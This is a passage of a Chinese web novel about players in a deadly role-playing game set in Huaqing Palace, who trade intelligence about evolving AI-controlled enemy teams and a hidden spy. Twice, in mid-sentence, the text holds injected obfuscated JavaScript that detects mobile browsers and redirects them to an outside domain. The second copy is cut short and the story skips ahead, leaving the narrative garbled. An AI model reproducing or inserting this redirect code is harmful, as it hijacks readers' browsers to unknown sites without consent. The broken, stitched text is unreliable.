“我知道这个说法听起来很诡异,但的确是这样的。”龙池乐无奈地笑了笑,“我们队第二天被分到了漓水,在那里遇到了寻找青冥剑的NPC剑客,恰好打完怪就捡到了青冥剑。把青冥剑交给剑客之后,剑客为了表示感谢,给了我们一份他‘偶然拾得’的笔记。” “那份笔记,来自于浪客行的上一批玩家。 “虽然因为长期的雨水浸泡,笔记上很多内容都已经看不清了,但是上面很明确地说明了,第五天起,玩家们会以25人团队的形式被组织起来继续游戏,这个分队,在玩家们第一次进入浪客行的时候就已经被决定好了。假如在这个过程中,有的玩家队伍被淘汰了,在玩家没有主动找蒋玉凤要求重组的情况下,团队就会以残缺不全的形式继续存在。” 谢不若听得两眼发晕,此刻无比想念仇非。 他艰难地消化了一下这一长串说明,试图理解:“哦……所以,你们队属于我们团?你们就是我们团的第五支队伍?” “我想,不是的。”龙池乐摇了摇头,“我们在前四天也有自己相熟的队伍,看你们反而觉得陌生。” 谢不若目瞪口呆地看着她,突然意识到一个恐怖的信息。 这么说来,第五天龙池乐的队伍落了单,就说明原本该和她在一个团队里的四支小队已经全部被淘汰了! 更恐怖的是,龙池乐在此刻又轻轻地补充了一句话。 “那支人机队伍……桃源花毒明霸刀队,我们在这之前,没听说过。”她说,“所以,他们很有可能原本是属于你们团队的,第五支队伍。” 这条消息被鹦鹉衔在嘴里传到宫苑总监时,裴洛川正在核对下面人报上来的华清宫内馆园巡检的结果。 这只小胖坨天天飞来飞去也不见瘦一点,不过它显然是送了很多趟信了,累得气喘吁吁,看他接了纸条,一屁墩就坐在裴洛川桌头不动了。 裴洛川赶紧将茶碗盖翻过来倒了点水给它,鹦鹉倒是不客气,一爪子踩了进去,开始扑扇着撩水玩,他这才熟练地展开纸条,开始阅读今日份的共享情报。 ——但是他怎么也没想到,纸条上写着的,是这样的内容。 裴洛川的手微微一颤,下意识捏紧了字条,在片刻愣神与怅然过后,忽然意识到一个更严重的问题。 难道,这华清宫之中,有足足五队人机? 但是这个想法,很快就被纸条上接下来所写的内容打消了;裴洛川瞳孔骤缩,看着那白纸黑字,事情的本貌,竟然远比他所想的更加残酷。 时间倒回到不久之前,宫正住所,谢不若在震惊过后,很快意识到危险所在,问出了和裴洛川心中所想一模一样的问题。 “那这岂不是代表着,一共有五队人机在华清宫里?” “不。”龙池乐摇了摇头,她的面色说不出是喜是悲,唯有眼底藏着深深的寂然,“我们队认为,第五天里,只有桃源花毒明霸刀队这一队人机玩家。” 至于为什么,还是要说回到那本二周目玩家留下的笔记。 从笔记只言片语的记载中,可以看出,二周目的玩家经历的游戏过程,同样残酷,而写下那本笔记时,已经是整个浪客行游戏的第八天,对于人机,这些玩家已经非常熟悉了。 也正是因为如此,二周目玩家们记录下了令人震撼的事实: 人机是可以通过击杀敌对方来获得进化的。 所谓的进化,就是真正意义上的进化,如同人工智能在无数次的训练和迭代中,越来越接近真人。无论敌对方是真人玩家还是同为人机,只要被击杀,同队人机玩家都可以获得智力、体力甚至于情感上的全面提升,而相对的,如果人机被击杀,他们也会退化,直到退无可退,失去继承来的所有记忆与技能,变成所谓的白板“忽雷驳侠”。 简而言之,一个人机玩家,可以随着一次次击杀他人而逐渐变得越来越接近真人玩家,也可以随着一次次被击杀而变得越来越像被设定好的呆板程序。 ——让你排吃鸡结果你排了个啥队非常幸运,在浪客行的第二天就拿到了这本笔记;同时,他们也非常不幸,在第三天就发现自己相熟的一支小队已经被淘汰,玩家们全部变成了人机。 但也正因如此,他们恰好验证过了笔记上的话。 “但自此之后,我们遇到的所有人机玩家,都是那样机械、无感情,只知道攻击真人的白板程序,这很不正常。”龙池乐说,“所以我们猜测,有一支人机队伍,一直在猎杀其他人机。” 人机已经“死亡”,被再度杀死也不会彻底消失,只会一级一级地退化,但杀死这样的人机玩家,却可以让自己一步步进化。强者愈强,弱者愈弱,浪客行安排的制衡机制,也就成了某些拥有智慧的人机玩家的刷分机制。 “现在可以确定,这支队伍,就是桃源花毒明霸刀队了。”龙池乐说。 她每次提到这支人机队伍,眼中都会迅速地闪过一缕仇恨,但声音听起来,却夹杂着几分凄怆。 “我们的队友,没能将那支队伍里的五毒和霸刀同普通玩家区分出来。这些人机非常聪明、善于伪装,甚至能够抑制自己攻击玩家的本能,最重要的是,他们已经习惯了捕猎其他人机,并且对其他人机队伍非常熟悉。” 这样的一支队伍,一定会在进入第五天伊始,就立刻找到其他人机玩家并且杀死他们,来强化自己。 “所以,你们是觉得,桃源花毒明霸刀队已经把其他人机都干掉了?” 谢不若听了半天,终于听懂了一点,心惊胆战地发问。 “是的。” 龙池乐点了点头。 她面如寒冰:“毕竟,那些人机就是这样的东西,就算继承了原身的记忆和技能,也没有人的情感,只能是一批为了提升自己不择手段的怪物。他们就算再接近人,也不能够称之为人。” 鹦鹉蹲在窗棂上,晒干了自己湿漉漉的羽毛,转头看了看裴洛川,似在催促。 按照以往的规律,它将信送到了西弘文馆,雕兄便会接过接力棒,将消息传达到宫城之外的永宁公主庄和讲武殿。裴洛川将纸条依原样叠好,给鹦鹉别在腿上,问它:“弘文馆的其他人看过了么?” ——住在西弘文馆的,除了他,还有陆厌、方叱羽和李千驰。 其他人裴洛川倒是不怎么担心,他主要是怕李千驰接受不了。谢不若不知道他们队伍之前遇见过兰瑾那一队的事情,在情报里写得非常直白,读起来,让人有一种往者不可谏的落寞感。 毕竟那听起来如此美好的可能性,早就已经被扼死在绥梦山的幽谷密林之中了。 鹦鹉钻过窗框,扑扇着翅膀飞远,声音还在窗前回荡:“看过了!看过了!” 看过了啊…… 裴洛川皱起眉头,随手从窗边堆成小山的书册中抽出一本小簿子来,上面记录的正是他这段时间以来统计的、可以出席梨园宴的外朝官员名单。同样的一份名单已经交到礼部那里去了,往后翻两页,就可以看到翰林学士那一组里,李千驰的名字也已然在列。 其实,大家心里都差不多可以确定,所谓的剧情指的就是“梨园宴”了。第五天的规则中明确说明,如果剧情结束之前玩家还不能找到“鬼”,那么玩家们就会被重新分配身份角色,重新开始游戏,因此,从梨园宴结束到安禄山被刺杀的这段时间,大概就是大家寻找“鬼”的最后期限,而人机们肯定也不会放过这个机会,想来到时候,肯定有一场硬仗。 对于玩家们来说,不仅要找出他们目前还完全一无所知的“鬼”,还要提防被NPC判断为角色崩坏,甚至还有可能会和人机进行战斗,这场梨园宴,称之为“鸿门宴”也不为过;而对于李千驰这种太重感情的人来说,要他和“兰瑾”兵戈相向,那更是难如登天了。 裴洛川看着手上的名单,一瞬间甚至产生了一种自暴自弃的想法——要不然干脆跟礼部那边说一声,把李千驰的名字从名单上划掉算了,反正这人因为对诗词歌赋一窍不通,最近正在拼命地装病。 因为病重而无法赴宴,很合理。 “算了吧。” 他的手都要放到笔杆上了,门口却突然有人说话。 因为宫苑总监职务繁重,裴洛川这儿的门总是半掩的,来人只在门口微微一停,便直接推开门走进来了,却正是陆厌。 “躲得了一时,又躲不过一世,只要他们都还在第五天里,总是会见面的。”陆厌反手将门紧闭,也不和他客气,径直说,“你和方叱羽,你们这都是关心则乱了,总得让他去适应。” “方叱羽又怎么了?”裴洛川放下笔,疑惑道。 “昨天半夜捎了坛酒,两个人在弘文馆的屋檐上喝到半夜。”陆厌耸耸肩,“那些翰林学士告状的折子都塞到我这儿来了,还好一群文人也爬不上房,看不见是谁在发酒疯。” “……” 可以,是他的队友们能干得出来的事。 裴洛川苦笑道:“麻烦你先压下去了,这两个人……唉。” 说到最后,话变成了一声叹息。裴洛川想,假如昨夜自己在场,说不定也是要加入的。 单纯成为敌人也就罢了,但现在知道了大家原来或可为队友,原本能一起在第五天齐心协力通关副本的,这其中的落差感,实在是令人难以接受。 “理解,先不说这个了。”陆厌道,“我来找你还有别的事——明晚开宴时,华清宫各区的安排你这里有吗?” “嗯,这个是我们和监门卫一起管的。”裴洛川略一思索,“届时,望京门、津阳门与昭阳门都将关闭,仅留开阳门供宫外的亲贵家眷们进出。宫城之内的话,东区可以随意走动,去往西区和中区,都将接受监门卫与金吾卫的排查。” 东区,就是梨园所在的区域,大多数温泉也在东区之南。 陆厌追问道:“照这么说,如果来打大战的玩家想要混进宫里,也只有走开阳门这一道门了?” “是这样,甚至因为当日会有不少皇亲贵族前来游玩,开阳门反而查验不严。”裴洛川点头,“其他三门虽然不开,也有监门卫值守,想要越墙而入是更加困难的。” “我听说,最近六尚局在查——” 陆厌刚起了个话头,两人却突然听到咔哒一声,听声音似乎是门边传出来的,当即双双噤声,扭头看去。 只见刚刚被陆厌顺手关紧的房门,不知何时竟然开了一条小缝,门扉微微晃动,似乎被人不小心碰到了。 二人反应都很快,陆厌立刻冲到门边检视走廊,而裴洛川则抬起木窗,看向院内。只是无论走廊还是小院之内,俱都不见人影,一片寂静,只能听到另一侧厢房内传来的其他人的隐约对话声。 但那一瞬间的感觉应该不会出错——裴洛川确定,刚刚一定有人试图在窃听他们的对话,但这人不知道用了什么方法,在失误暴露的一刹那,就瞬间消失了。 陆厌轻轻摸了摸那雕花的木门框,突然冷冷地一笑。 “碰上同行了。” 裴洛川则蹲下去,捡起地上的一根小木楔。 这是他卡在门闩上的一个小机关,门被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691183|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关上之后木楔就会自动落下,只要再有人试图推门,木楔立刻就会脱落砸在地上,发出足以引起他人注意的响声。 的确有人来过了。 他这间小院并不大,从房门到院门口也就十几步的距离,动作快点,是来得及跑出去的。但门口还站着两名宫人,看他们无精打采的样子,似乎并没有注意到有人经过。 陆厌也扫了一眼门口,看那两个宫人并没有注意院内,便从小队背包里取出双刀,弯刀在指间飞快地转了两圈后飞旋脱手而出,以他脚下为圆心,顿时浮现出巨大的日轮图腾,外侧弯月线条不断延伸,正是一式极乐引! 这个技能可以强行破除周围目标玩家的隐身技能并把他们拉到身边,在这种情况下释放出来,是再合适不过的了。然而,直到那巨大的图腾缓缓消失,这小院子之中,依旧一派平和,唯有庭前的草木在风中窸窣摇曳。 “已经跑了。”陆厌收起刀,道。 “那就是伏明。”裴洛川说,“不知道他听到了多少。” ——桃源花毒明霸刀队中唯一一个可以隐身的职业,明教,他的名字就叫伏明。 “……真是吓人一跳,还好我要说的话还没说完。”陆厌呼了口气,表情也缓和了一些,不再那么严肃了,“出了一身冷汗。” 两个人重新走回屋子,裴洛川将门上的小机关复原,这次为了保险,他还特地在窗边点了一柱檀香,如果气流微有变动,立刻就能够看出来。 这些都做好之后,他才问:“你刚才要说什么?” 陆厌低声道:“六尚局在查梨园的人,尤其是那个叫王三金的NPC。到时候,那些‘大战玩家’想要混入华清宫,一定会在开阳门外与王三金接头。” “是这样。”裴洛川微微点头,“大战本的剧情里也是这么写的。怎么了吗?” “我觉得……”陆厌难得露出犹疑的神色,“我们队的祝灵正,就是那个到处都找不到他在哪的衍天,可能在‘大战玩家’的队伍里。” 与此同时,西弘文馆中,付井仪也看完了鹦鹉送来的纸条。 仇非竟然就坐在他对面,她穿着一身普通至极、根本没法辨认身份的麻布衣裳,膝盖上,放着那个黄鸡大笑头套。 “你怎么看?”她问付井仪。 “龙池乐说,她的队友‘没能将那支队伍里的五毒和霸刀同普通玩家区分出来’。”付井仪道,“显然,她的队伍已经和人机遭遇过了,但是她却没对谢不若明说。” “倒不如说,她想隐瞒,但是因为情绪太激动,一时说漏了嘴。”仇非道,屈起食指,轻轻敲了敲桌上的纸条,“谢不若脑子不够用,他根本就不会判断信息的轻重缓急,也不会抓关键信息,所以把她的话都记下来了,不过这恰好方便了我们进行分析。” 旁听的曲小蕨默默看了一眼她膝盖上那张牙舞爪的黄鸡大笑头套,心想这姐姐损起自己的队友来,还真是一点儿也不留情的,和头套倒是很相配。 ——仇非之所以要带着黄鸡大笑头套来密谈,还是拜祁云纵搞出来的“笑面鬼”事件所赐。虽然无厘头,但这头套确实不失为一个保命的好办法。NPC判断一个玩家有没有OOC,起码得知道这玩家是谁、在什么职位上,假如他们根本都不知道玩家的身份,又何从判断他们是否违反了角色的设定呢? 虽然付井仪已经屏退了下人,但到时候假若有人不慎误闯进来,仇非便可以立刻戴上头套混淆身份,而付井仪也只需要演一出白日撞鬼的戏,也不会因为违反角色设定而遭遇生命危险……吧…… 曲小蕨摸了摸鼻子,这避险的法子听起来真的很搞笑,但两个大佬虽然表情古怪,却还是这么照办了,那就说明这个傻不拉几的方法应该还是有一定可行性的。 她好不容易把目光从黄鸡大笑上挪开,再听仇非和付井仪的对话,发现他们已经猛拉进度条到自己根本听不懂的地方了。 “从这个表现来看,她大概已经有队友在人机那里吃过亏、甚至被淘汰掉了。”付井仪道,“如果是在宫里与人机遭遇,我们不应该一点都没发现。所以,她说的五毒和霸刀,还有她的队友,很有可能就是那队还没有进宫的‘大战玩家’,这一切都是在华清宫之外发生的。” “目前看来这的确是最有可能的,而且谢不若说了,龙池乐也在打听王三金的消息。”仇非沉吟道,“但为什么她要向谢不若隐瞒遭遇人机的事情呢?这对她们队伍来说有什么好处?” 付井仪沉默不语,半晌才叹了口气。 “人机淘汰玩家能够获得进化,那玩家淘汰人机呢?” 仇非一愣,曲小蕨已经脱口而出:“难道……难道我们淘汰人机,也有相应的奖励?” “只是猜测。”付井仪道,“不过,有一点的确应该值得注意,我们的四支队伍和她的队伍,并不在一个大团中。这其中应该是存在着利益冲突的,不然,浪客行把各个小队划分进不同大团的机制,就没有意义了。” 仇非皱起眉头。 这一点,她并非没有想到,只是这个推测未免太过阴暗了一些。她完全不是那种喜欢将期待寄托在空想上的性格,但到了这时候,也还是希望,龙池乐她们队伍,只是单纯地想要替队友报仇,才隐瞒下了人机的消息,以便于亲手报复回去。 可惜,这样的概率,实在是不大。 “再看看吧。”她说,“还有一点,就是好莱坞队的祝灵正。” 一提到祝灵正的名字,在场三个人的表情都不约而同地凝重起来。 经过这几天的搜寻,他们几乎已经可以确定,祝灵正根本就不在华清宫中,那就只有一个可能——祝灵正也在‘大战玩家’的队伍之中。 也就是说,他起码在和两个人机相处。 最糟糕的是,他们和祝灵正之间并没有联络方式。雕兄倒是可以代为寻找,但蓬莱的海雕还是比较显眼的,被人机玩家发现,也会带来危险。 曲小蕨小声发问:“那个,你们说,龙池乐她们,知道祝灵正也在那支大战队伍里面吗?” 仇非看了她一眼,而付井仪则是挪开了目光。 他们的想法大概是一致的,但谁都不想告诉曲小蕨。 人的心是很复杂的东西。同甘尚且无所谓,唯有共苦之时,有些被隐藏在心底的想法,才会被翻弄出来。人们只有在感受相同的痛苦时,感情往往才会更加炽烈和真挚,才更容易走到一起。 所谓同仇敌忾,先要敌我所忾,才可勠力同心。 更甚者,一步错而步步错,一时之差,就难再回头了。 利益、竞争、情感……这些繁杂的因素交错在一起,就像平静水面下汹涌的暗流,平衡稍微被打破,立刻会将平稳运行的小舟推向深渊。 龙池乐走出六尚局。今天风很大,阳光也刺眼,但这样苍白炽目的阳光洒下来,她却感受不到一点温度,手甚至还在微微颤抖。 她双手交握着,但那细微的颤抖却怎么也停不下来,相反,还逐渐蔓延到了全身。 我没有说出来吗?我竟然真的没有说出来。 其实好几次,她的话都已经涌到嘴边,但就是那句简简单单的,“你们的衍天队友正和人机在一起,很危险”,却怎么也说不出来。 她只是羡慕他们,羡慕他们能够一起经历第五天,羡慕他们的队友都还在身边。 谢不若甚至还在为那个人机队伍不能成为自己的队友而惋惜……说到底,一路坦途走过来的这几支队伍,又怎么会明白失去队友是什么感觉呢。 这种想法太恐怖了,龙池乐下意识地感到害怕,但也突然觉得很可笑——以为自己是大侠,以为手里握着剑,就能斩尽诸恶、踏破一切不平,结果到头来才发现,自己也是坏人中的一员。 怕什么呢?不是我自己选择隐瞒的吗?现在这样不是正好吗?假如什么都没发生,我们就能拿到淘汰人机的奖励;假如他们的衍天也死了,大家就能更好地合作,更团结地淘汰人机,这不是正好吗? ……但是,真的好吗? 她回头看了一眼宫正的居所,那个叫谢不若的刀宗虽然穿得不伦不类,但笑起来很爽朗,还有点冒傻气,和纪湘君很像。一想到纪湘君,她充满愤怒和仇恨的心,又逐渐变得空落落起来,有一种很不真实的,恍惚的感觉。 如果被湘君和飞琼他们知道了我的想法,是不是也会觉得很恐怖呢。 想到这里,她转过身,脚也控制不住地向后迈出了一步。 现在去对谢不若说明情况,还不算晚。即使她想到谢不若可能的或惊讶或愤怒的反应,很想什么都不管的就这样走掉算了,但她还是深吸了一口气,慢慢地向回走去。 “你怎么了?” 身后,忽然有人轻声问道,随即递来一方手帕。 龙池乐一愣,这才发现自己已经泪流满面,几乎看不清面前的路了。 她匆匆道谢接过帕子,擦干泪痕,抬眼看去,递给她帕子的是一个普通宫人打扮的青年,长相更偏年少,看起来性格似乎很爽朗,脸上带着浅浅的微笑。 36. 第五天·华清宫(三十六) 四下本来无人,大概这个青年是办事路过,看到她在哭,才特地过来的。 龙池乐将手帕还给他,有些不好意思地道了谢,刚准备转过身,又被这个青年喊住。 他问道:“你是刚从宫正那里来吗?” “是。”龙池乐道。 青年笑道:“怎么,为什么哭着出来了?” “……办事出了点纰漏,挨训是应该的。”龙池乐说。 她还沉浸在刚才的情绪里,声音恹恹的,但这个青年却并不在意,笑容温柔而关切,道:“这么听来,宫正应该是挺严厉的人吧。我来这么久了,还没见过她一面呢。” “还好吧。”龙池乐只能这么说。谢不若派头倒是挺足的,但真人跟严厉完全沾不上边。 她还急着要回去跟谢不若说明人机的事情,语气中带了一缕急促,也不知道那青年听出来了没有,便见他说:“其实,我还真有些事想找你打听一下。” 他还是那样的表情,带着爽朗而有少年气的微笑,微微低下头俯视着龙池乐:“听说宫正那里,有只很通人性的鹦鹉,你方才见到了么?” 在听到这个青年说出“鹦鹉”一词的时候,龙池乐顿时感觉后脑一麻,一种极度危险的感觉涌上心头。 谢不若的鹦鹉,负责他们那几支队伍之间通信的鹦鹉。 为什么会被一个普通宫人注意到并问起来? “我……我不知道。”龙池乐说,此刻,她无比庆幸方才心情的激荡,也算是误打误撞,刚刚哭过的脸,却让她的微表情能不那么引人注意了,“宫正训话,我一直低着头,也没看到别的地方。” “这样啊。”那青年表情不变,语气里微微带了点遗憾,“那你现在是要回去干什么呢?” 他明明是一副看着非常无害的样子,龙池乐的背上却已经沁出了细密的一层冷汗,心念电转之间,答道:“宫正扣了我这个月的俸禄……我想回去再求求她,家里都等着用钱,实在是没办法了……” 说着,她的眼眶再度泛红,蓄起眼泪来。 “是么?那宫正还真是严格。” 青年轻轻叹了口气,体贴地将手帕又递给她:“你拿着这个,好好擦擦,再去见她吧。嗯……如果看到了那只小鹦鹉的话,可以帮我留意一下么?” 他有点不好意思地笑起来:“我家里也养了只鹦鹉,所以对这个比较感兴趣。” “好、好的,谢谢你了。” 龙池乐接过手帕,胡乱在脸上擦了两下,实际上迅速擦掉了额头和鼻尖上的薄薄冷汗。她转过身,偷偷从帕子的缝隙里瞄了一眼,心中就是一寒。 那个青年脸上的微笑已经完全消失了,整个人面无表情,冷冷地看着她,又或者透过她的背影,在注视着宫正的居所。 那道目光有若实质,冰冷而危险,带着难以言喻的压迫感。在浪客行里磨练出来的本能让龙池乐一分一秒都不想在这样的注视下前进,甚至几乎控制不住想要从小队背包里取出她的双剑,但是不行,她必须像一个普通的宫人一样,若无其事、一步一步的,在这样令人毛骨悚然的注视里,慢慢走回到宫正的居所。 他是谁?他是谁? 那张纸条上的名字,反复在龙池乐眼前闪过。 这段路格外寂静,她甚至能听到自己越来越大的心跳声,血液充斥双耳,嘈杂的杂音仿佛在反复对她重复:快逃! 是伏明?云流岚?还是兰瑾? 即使已经走到了宫正居所门口,她依然能感觉到远处那道冰冷的目光,还停留在她身上。那道目光还掺杂着一丝冷漠的打量和猜疑,似乎是在对她进行评估。 龙池乐用身体挡住背后的视线,快速地将那青年给她的帕子折了几叠,找了个花丛中扔了,随后尽量平静地抬起手,叩响了门。 咚、咚、咚,指关节叩响门框的声音几乎要和她鼓噪的心跳声重合在一起,她看见自己的指尖正在控制不住地轻颤,那是自我保护的本能正在作祟。 下一秒,谢不若那特有的、捏着嗓子的怪腔从门内响起来:“进!” 听到这阴阳怪气的腔调,龙池乐心头一松,推开门就跨进了屋里,反手便把门关严。直到这个时候,她才察觉自己的内衫都已经被冷汗打湿了,紧紧地贴在后背上,脚下也如同踩了棉花一样,轻飘飘的,没有实感。 谢不若看到她这样子进来,吓了一大跳,赶紧把她扶过来坐下:“你怎么又回来了?这是怎么了?” “我……”龙池乐一开口,就哽住了。 谢不若蹲在她面前,愣愣地盯着她,脸上满是关切,即使脸上化了滑稽的妆容,也能一眼看出来,那是和那个青年截然不同、真挚而清澈的神情。 她几乎是在一瞬间就崩溃了。 即使从纪空山那里确定了纪湘君的死讯,龙池乐也没这么失态地大哭过。悲伤、愤怒、愧疚和后怕,种种复杂的情绪压在喉间,令她难以喘息,此刻终于能宣泄出来。 很久了,从进入浪客行第一天晚上,她偷偷抱着飞琼哭过一次,就再也没在队友面前掉过眼泪,大家一路磕磕绊绊好不容易走到今天,谁都想成为对方眼里那个可以依靠的人,她都忘了,她可以大声哭出来的。 这姑娘一关上门就开始嚎啕大哭,谢不若哪见过这场面啊,顿时头皮发麻,偏偏最好用的“道具”鹦鹉这会儿还没回来,他站也不是蹲也不是,只能无助地在房间里转圈圈。 好不容易等龙池乐情绪平静一点了,他凑近了,就听见她断断续续的,一直在重复着“对不起”。 “不是……你……我……”谢不若试图组织语言,“你道什么歉啊?” 龙池乐垂着头,眼泪将膝上的宫裙都打湿了,哽咽道:“那队人机玩家里的五毒和霸刀已经出现了……就在要来刺杀安禄山的那队人里……你们到处都找不到的衍天,也和他们在一起……” “啊?”谢不若一愣,“这不是挺重要的情报吗?咱们知道了不是好事吗?你哭啥啊!” 龙池乐被他一噎:“我……我一开始没告诉你。” 她忐忑地说完,心里难受得很,默默等待着谢不若或发火或失望的回应,没想到却看到这人眨眨眼,道:“啊这,多大点事儿啊,你不是也回来跟我说了嘛。” 他说:“没事,就算你不说,我们团里的大佬估计也能猜出来。哎,你都不知道那些人多么恐怖,一个个的简直不是人……” 啊? 龙池乐愣愣地看着他,感觉耳边一片轰鸣,心里却是前所未有的轻松。 谢不若没注意到她的目光,还在嘟嘟囔囔:“那都不是看一眼就说出来底裤颜色的问题了,那是看一眼,不仅知道我今天穿的是什么颜色的,连昨天穿的也知道了,更过分的是,明天准备穿什么颜色的他们也能猜出来,你说恐怖不?——哎、你怎么又哭了啊!” 他手足无措,最后口不择言道:“别哭了别哭了,眼睛哭肿了NPC看你会奇怪的,她们还寻思我这个宫正这么凶呢,把人都骂成这样了。我要是恶名远扬,你得负责的。” “……我没事了。”龙池乐擦擦眼泪,浅浅地笑了一下,这个笑容却是真心实意的。 她平复了一下心情,立刻跟谢不若说起正事来:“有件大事,我刚刚在外面应该是遇见了人机,鹦鹉传信已经引起了他们的注意,现在他们似乎在寻找鹦鹉是谁养的,目前,已经怀疑到你了。” “是么,果然传信的频率太高了。”谈到正事,谢不若也严肃起来,皱着眉想了想,“成,我后面注意点。” “人机似乎不能伤害NPC,不然以那支队伍的作风,肯定已经动手了。”龙池乐道,她眼睛还是红肿的,声音却已经在渐渐恢复冷静,“如果他们真的查到了你,你就喊NPC来救命,他们应该拿你也没什么办法。” “没问题,这个我有数。”谢不若说,“倒是你,一出去不就又撞上人机了?” “就算是人机也得遵守规则,他总不能一直在那里守着我。”龙池乐想了想,“他们应该还没发现我也是玩家,我后面多和同事待在一起。” “好嘞。”谢不若挠挠头,道,“我记得你是尚服局的吧,你们的住所应该和尚食局挨得挺近。过会儿午后换班时,麻烦你把这事捎个口信告诉尚食局的司膳龙葵,那是我队友,她会想办法联系其他人的——呀,你们还是本家。” “还真是。”龙池乐说,嘴角微微弯了一下。谢不若一直注意着她的表情,现下终于不着痕迹地松了口气。 “那个,我去拿条冰帕子,你把眼睛敷一敷,在我这边睡一觉算了。”他说,“这么出去,状态也不好,还容易惹得NPC奇怪。” 龙池乐下意识便想拒绝,但谢不若动作太快,人已经走到帘幔之后了,她也只好道了句:“那麻烦你了。” “没事儿,都是姐妹。”谢不若显然对自己的身份适应良好,捏了个兰花指将裙角一提,优雅转身,“习惯就好。” 吱呀一声轻响,门开了一条缝,随后又被极快地合上了。 仇非从东弘文馆出来,沿着宫墙,在扶疏花木的阴影里慢慢朝津阳门走去。 华清宫太大了,而且大多数人都住在缭墙之内,有时候走很远也遇不上一个宫人,所以她来去还算自如,被发现的风险也算不上很高,再加上明晚梨园宴就要办起来了,大多数人都聚集在东区忙着筹备,缭墙之外,更是一片安静。 仇非一边走,一边就开始思考起来。 付井仪所居住的东弘文馆,隔着宫墙便是东讲武殿,那是柳七刀、唐逐星和殷炽所住的地方。不过这三个人都隶属于天子近卫,白天只偶尔换班的时候才在,一般是找不到人的,尤其是柳七刀,基本上成天就是在华清宫中游荡,能和他媲美的,似乎也只有谜语人离开浪客行队的曲小蕨了。 但是,即使是他们俩这样高强度地四处“巡逻”,也没见过可以被称为“鬼”的东西。 最要紧的是,规则中写明,玩家们有且仅有一次指认鬼的机会,如果指认错误,也会被淘汰。 四支队伍都在这里了,其中也不乏分析推理的能人,按理说这第五天的进度应该很快,但到目前为止,已经在华清宫中度过了数日,大家对于“鬼”到底是什么、在哪里,还一点头绪都没有,这种情况,其实已经有些严峻了。 就像她和付井仪在讨论时一致认为的那样,在第一轮剧情结束之前,应该是找不到鬼的。该说不愧是第五天的难度么? 她还在想着,远远地,突然看到前面走来一个人。 这个人的出现十分突兀,在此之前,仇非并没有注意到他,好像他是凭空出现在那里的一样。知道事情有异,她立刻闪身到桃花丛中,屏息静气,凝神看过去。 这个人似乎是从西弘文馆那个方向走过来的,步伐十分迅捷,不像普通宫人。因为花木的视野限制,他并没有注意到仇非,而是目标很明确地朝内城区走去。 离得近了,隐约能看清,来者是一个年轻男子,穿着再寻常不过的看守的衣服。 仇非微微一愣,这个人给她的感觉,竟然和好莱坞队的陆厌有些相似。 这种相似并不是外貌上的相似,而是气质上的,尤其是前进时的身法和步伐,有一种机敏的轻盈和警惕,似乎随时都准备着应对突发状况。 明教玩家? 她立刻便想到了人机玩家中的那个伏明。目前已知的情报中,在华清宫中如果有除了陆厌之外的第二个明教,那就只能是他了。 眼看这会儿四下无人,而伏明马上就要走出她的视野,仇非皱起眉——独自跟上去肯定不是最优选择,但就这么将他从眼前放走的话,也有些不甘心。 说来也巧,这时候,有一队金吾卫恰好从内城之中迎面走出来,但可惜一眼扫过去全是陌生脸庞,柳七刀并不在其中。而伏明也是十分谨慎,在看到这队金吾卫的瞬间,便立刻选择了回避,只见光线一阵诡异的波动,他整个人就渐渐消失在了空气之中。 他的反应极快,这队巡逻的金吾卫似乎并没有发觉异常,很快便走向了另外一边,但是这样一来,误打误撞,仇非也失去了伏明的踪迹。 她皱了皱眉,暗道声可惜,但就在这时,异变突生! 只听一阵扑簌簌的响动,从缭墙的缝隙处,忽然凭空生出一株巨大的荆棘,生满尖刺的枝条在风中剧烈挥舞着,无数苍绿色的棘刺顿时朝着某一个方向疾射而去,其势头宛若狂风暴雨,而不过瞬息之间,这株巨大荆棘的枝条竟然又齐刷刷地转换了面向,再度发出了荆棘刺击——简直就像,在追踪着什么一样! 这正是无方的技能,苍棘缚地! 这个技能的持续时间并不算很长,很快,那株巨大荆棘随风张牙舞爪的枝条就慢慢地垂落下来,委顿在地,最后干枯萎缩,缓缓地消失了,连那些闪着寒芒的棘刺,也一并变成了飞灰,被大风一卷,就无影无踪。 不到几秒,缭墙外又恢复了平静,好像什么都没发生过一样。 仇非静静地潜伏在桃花丛中,她的耐心极好,直到确定再无一丝动静之后,才飞快地走到那株荆棘先前存在的地方。 显然,刚刚那队路过的金吾卫中有个无方玩家,他一定注意到了伏明,并且在经过时种下了棘种,而这颗苍棘种子,就在短暂的蛰伏过后破土而出。 仇非挑了挑眉,半蹲下身子,伸手在石板地上轻轻一抹。 她看着自己的指腹,上面有一缕淡淡的血迹。 相同的血迹,在地上蔓延着,越过缭墙,进入了中区。 和安静的外城不同,内城中站岗的守卫和来往的宫人明显都多了起来,尤其是天子所在的中区,时不时便能看到全副武装的金吾卫来往巡逻。 如果是换作仇非自己,被突然攻击之后,第一反应,肯定也是趁还在隐身时进入中区藏匿起来。玩家们受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着桌子上用炭笔画出的空白棋盘,拈起一颗黑子,放在右下角,道:“你们想,苍棘缚地这个技能,既不会暴露玩家本身,又能够追踪隐身的伏明,确实很合适,但它伤害并不高,这个无方为什么非要在那时候攻击伏明呢?” “从bro的情报里来看,他们那队人好像都挺恨人机的。”祁云纵猜测,“可能是恨到看见就必须得打一下吧。” “那又有什么作用呢?不过是打草惊蛇,还暴露了自己金吾卫的身份。”仇非道,“能活到第五天的玩家,应该不至于这么意气用事。” “难道他也是想利用受伤留下的血迹追踪伏明的动向?”行守说,推了一颗白子到黑子左边,“也不对,等他巡逻完脱离队伍,伏明估计早就处理好伤口,转移地点了。” 